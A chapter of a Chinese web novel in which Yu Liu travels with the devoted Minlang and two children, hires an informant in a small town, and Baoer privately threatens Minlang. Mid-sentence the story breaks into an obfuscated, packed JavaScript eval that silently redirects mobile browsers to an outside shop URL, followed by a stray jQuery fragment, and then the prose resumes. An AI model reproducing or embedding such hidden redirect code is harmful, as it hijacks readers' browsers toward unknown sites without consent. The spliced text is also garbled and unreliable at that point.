两人同骑一匹马戴斗笠不方便,玉流就摘了,把被风吹乱的发丝拨到耳后,然后伸手,托起敏郎就要压来的下巴。
“为什么一路都不说话。”
敏郎没能得逞,顺势落在她的掌心:“我……我在生气。”
还以为他会否认一下,没想到就直接承认了。玉流啧了声,捏捏软肉:“我知道。”
敏郎更想生气了,眼眸半垂:“那大人,为什么还要问?”
“因为你不说。”
死结。
好吧,那他要开始说了,小小声地怒了一下:“为什么!……要留下他们。”
敏郎忿忿不平,指着斜前方骑在玉流那匹白马上的两个死孩子。
其实本来是打算他俩一人带一个的,但是敏郎的不满隔着几里地都能看出来,为了防止他直接把人丢下,玉流也觉得他做得出来,所以暂时让会骑马的小白照顾宝儿。
她收回手,允许他靠在她的肩颈:“因为宝儿说可以为我杀人。”
“我也愿意啊!”敏郎心里酸酸的,怎么就被个小姑娘占了先机呢!
他把下巴往里头挪了挪,就着玉流的耳垂,酥酥麻麻的声音就往耳骨里钻:“我还愿意为大人去死,她愿意吗!”
玉流没有想到他会说这种话,侧脸斜瞅着还在皱脸生闷气的敏郎,蓦地笑了:“小郎君,我留下你不是为了做这种事的,想点好的。”
“还有,我现在骑得慢,你不用靠得这么近,头也给我挪开,”玉流往前坐了坐,留下点空隙让风疏走贴身的热,“一身的土,全沾我背上。”
敏郎闷闷地呼气,吹红她的耳垂,故意一样,又蹭了一下,才依依不舍地仰起头。
没有星子的夜幕下,俊柔的眉眼乜长,略带狠意地凝视宝儿的后脑勺。
半晌,他无声道:“真是碍眼。”
不知过了多久,月落日升,光照远山,黑夜的干冷被拂散,玉流抬起半僵的胳膊,控制着力道戳戳打瞌睡的小狗膏药:“醒醒,你可以下来了。”
“嗯?哦……”敏郎含着困意嘟囔了声,眼皮适时地动了动,睁开眼。趴久了身子有点麻,愣了一会儿,揉揉被捅到的地方,慢吞吞地先下了马。
双脚都踩到了地上,他伸手,把玉流接下来。
“要休息吗?”他问。
玉流转着手肘:“嗯,我得走一走。”
若是从前她一人,赶一整个日夜的路都不会有事,这次不行了,她背上还搭着敏郎。
夜里本想和小白换一下的,毕竟他看起来也才十四五岁,她担心他撑不下去,还没等开口问,身后这位就打起了瞌睡。
脑袋一点一点地,跟小鸡啄米似的,眯一会儿睁一会儿,不时吸吸嘴巴,不知道有什么吃的好馋的。
再看那头的小白,坐姿端庄,腰背笔直,看起来精气神比她都还要好。
担心好像多余了,那她关怀别人吧。念着敏郎身娇体弱,她客气了一下,说他困的话可以睡一会儿:“过一个时辰,再和他俩换吧。”
“啊,真的吗,那我、那我就……”
他应该是想要推脱一下的,可是耐不住睡意汹涌,话都没说完,呼吸一缓,靠在玉流肩头就睡过去了。
只是他的睡相好差。人是睡着的,嘴上是要哼哼唧唧的,环住她的手是不放的。额头那点被风吹干的发梢挠着她的颈窝,痒得慌。
这算不算自作孽呢?
幸好小白一直醒着,毅力堪比玉流,没出什么乱子。
见玉流他们停下歇息,他勒马,在下马前叫醒了仰面睡得正香的宝儿。
宝儿眼睛都睁不开:“一定……呼噜……要醒吗呼呼,等我,啊——”
小白稳重地托住差点掉下马的宝儿,让她趴在马背上慢慢下来。
那位两副面孔看人下菜的哥哥正在给马喂水,他趁机走到玉流这边。
他很拘谨地问:“姐姐,你什么时候把玉还给我。”
玉流站在山坡上远眺:“再说。”
小白嘴皮抖动:“……过分。”
玉流斜眼:“你说什么?”
似乎是察觉到了危险,小白的眼皮不受控地跳了一下,他迅速捂住眼睛,低头乱看:“……蝈蝈,我说有蝈蝈。”
玉流的眼神如针刺,小白硬着头皮:“真的有,真的,真的……”
“什么有,有什么,”宝儿伸着懒腰,摇摇晃晃地走来,哈欠满天飞,接了话就往自己的目的上说,“姐姐,你要去京城的话,那我们可不可以走邳州过呀?”
玉流放过了小白,思考邳州的位置:“绕远路?”
“不是,”宝儿还没彻底醒,眼皮一直打架,说话有点慢,“我们可以……过回天城,不就——”
“不可以。”
“啊,为什么呀,回天城那边——”
“不可以就是不可以,”玉流拒绝得很干脆,她不管小姑娘有什么小九九,“有意见就和你的小白一起滚。”
“唔,没有。”宝儿泄了气,揉着眼睛安静地跟小白一起罚站。
一旁的敏郎摸着马鬃,看着宝儿吃瘪的样子,心里高兴了许多。
果然凡事都得有比较才好。
“既然大家都醒了,那我们继续,”玉流走下坡道,“小白带着宝儿跟着我们。”
“噢……啊?”宝儿迷糊的眼睛瞬间瞪得老大,“姐姐我不能和你一起吗?”
玉流:“嗯,你有点吵。”
什么嘛!宝儿撅着嘴,怒指暗喜的敏郎:“他就不吵吗!”
玉流:“他听话。”
牵着马过来的敏郎眼睛都要笑弯了。
自诩超听话的宝儿还没来得及哭给玉流看,小白拉住她的手:“走了。”
他想了想,补了一句:“你听话。”
嘿!宝儿跺脚,不带这么欺负人的!
……
两个时辰后,玉流算着他们所处的方位,拨冗去了趟附近的镇上。
带上两个孩子也有点好处,到人多的地方不会被怀疑。
大清早的,得给这两个孩子吃顿饭,免得路上饿死。
挑挑拣拣找了家还算干净的小馆坐下,点了面,付了钱,玉流双手将敏郎钉在凳子上。
“你们先吃,我出去一趟。”
“大——”
“这不是商量,”玉流低首,附在他耳边,“你盯着点他们。”
胡搅蛮缠的话胎死腹中,敏郎乖乖坐好,等着玉流出门后,瞬间变了脸。桃花眼变成死鱼眼,对着宝儿和小白,直接道:“死孩子。”
玉流走了出来,绕了绕,回到了大路口的柳树荫角。
她停下,打量着这卖画摊子。
稀烂的画,盖着模仿名家的章印。这么实打实的骗子,官府居然没把他抓起来。
这日子真是过得太舒坦了。
玉流敲敲木桌,问着拿书盖脸的人:“老板,有空吗?”
“没空,一边玩去。”
“是吗,”玉流笑,清清嗓子,“呦,这位不是包——”
索命的声一出来,翘着腿躺在椅子上的小胖子立即扒开脸上的书,支起身子扑来,就要捂住这不速之客的嘴。
等他看清了人,惊讶道:“我去,玉姑娘?”
包打听的瞌睡吓没了,抹了把下巴的涎水,从椅子上跳下来,赶紧给她搬来小板凳,拿袖子擦干净,请她坐下。
“玉姑娘你怎么来了?”
“路过,”玉流接过他递来的茶,“你怎么在这儿?”
“空嘛。”包打听最近过得挺好,不仅没瘦反而又胖了点,幞头都快戴不住了,露出一小截勒得发红的额头。
“最近没什么事情干,享受一下清闲的乡野生活。这个小镇子都是老人和孩子,民风淳朴,适合养老。”
包打听说完自己,又继续问她:“您呢,这是抓到无涯贼首打道回府了吗?”
“不是,有事回去。”
“那来都来了,我请您吃个饭?”
玉流没答,喝了口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370040|136175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
茶,又绕回到他身上:“你怎么这么空?”
包打听笑得特别清澈,清澈到有点蠢:“哎呀,手头宽裕了,人就滋润了,自然就空了呀。”
“哦,”玉流明白了,这是她那点金子的福祉呢,“所以你就到这穷乡僻壤来卖假画了是吧。”
包打听摆着手指头,否决玉流粗浅的认知:“不不不,这只是我的伪装。落魄不得志的书生,在这里很混得开。”
玉流笑了:“服了你,空成这样,你今年件数上的考核要怎么过?”
包打听的脸突然就晴转阴雨了:“姑娘,能不能念着我点好呀,这才年初,我偷点小懒,下半年再努努力补回来呗。”
玉流就在这里等着他呢:“要不这样,我这儿有个活儿,到时候写个字据,抵得上三四件吧,辛苦程度也就那样,胜在钱多。”
“呃……”包打听恍惚觉得后背有阵阴风刮过,整个人凉飕飕的,于是婉言相拒,“不了吧。”
“别怕,有钱赚。”
玉流掏出钱袋子,晃了晃,里头的金银撞得叮当响。
包打听旋即堵住耳朵,可金子的声音早就流进去了,在脑子里无死角地来回播放。
他还是败给了自己的贪财:“您要我干什么?”
玉流扬起一个堪称和善的笑:“侧耳过来……”
玉流不知道出去干什么了,面都端上来了人还没回来。
宝儿握着筷子数数:“哥哥,只有三碗吗?”
“那位姑娘只点了三碗,”小二不太懂这几位的意思,“是还要再上一碗吗?”
敏郎知道她又不吃了,朝小二道谢:“没事,这样就好。”
小二放下面:“好嘞,几位慢用哈。”
坐在最外头的小白很主动,一碗一碗地拿过来,劣质的釉碗在掌心转了圈,再送到其余二人的手中。
他也不急着吃,先用筷子将整碗面翻过来,再将面打散,最后端起碗,眼珠子移到眼尾,看着敏郎吃了后,他才抿了一小口的汤。
宝儿咬着筷子,对小白的一通做法很好奇:“这样吃,会更好吃吗?”
“咳咳,”小白咳出面,犹豫了一下,“……会吧。”
宝儿对什么都很新奇,抓起筷子有样学样:“那我也试试!”
被偷窥的敏郎笑笑,吃下口中的面,心道,不会。
小白只是在谨慎。不是那种寄人篱下的谨小慎微,而是被杀惯了的谨慎。
看来宋远徽的私生子这一点,有待考证。
他低头,轻轻吹起撒了香油滴的汤面,这件事的确越来越有意思了。
他想着玉流,心不在焉,分神留意着大门,所以吃得慢,再抬头时,宝儿已经吃完,小白不知所踪。
“人呢?”
“我让他去后厨问问有没有馒头包子什么的,等会儿给姐姐带上。”
“不劳你费心,她不吃。”
“姐姐不吃那就我吃呗,问问又没关系。”
小姑娘特别讲道理,撑着长凳面坐到敏郎身边,用甜甜的笑脸相迎:“哥哥,趁现在没人,跟我聊聊嘛,知道我来干嘛的吗,我是特意来传话的。”
敏郎放下筷子,侧脸如冷霜:“我知道。”
从看到她的第一眼起,他就知道是秦辜幸的意思了。
宝儿简要地复述了一下秦辜幸的意思,看着敏郎不虞的脸色,悠悠道:“我还没说完呢,哥哥你就已经这么不乐意了呀。”
“你还要说什么。”
宝儿一扭一扭地靠近,撑着巴掌大的圆脸,一字一字道:“哥哥,我们不一样。”
“什么不一样。”
“虽然不知道你究竟是谁,但是有一点我很清楚,我是真可爱,”宝儿眨着她扑闪扑闪的大眼睛,尽说些戳心窝子的大实话,“而你,你是装可爱。”
小姑娘丝毫不怵身边人发寒的双眼,用着只有两个人能听见的声音威胁道:“所以把姐姐分给我一点,不然,我就告诉姐姐你究竟是个什么样的人呦。”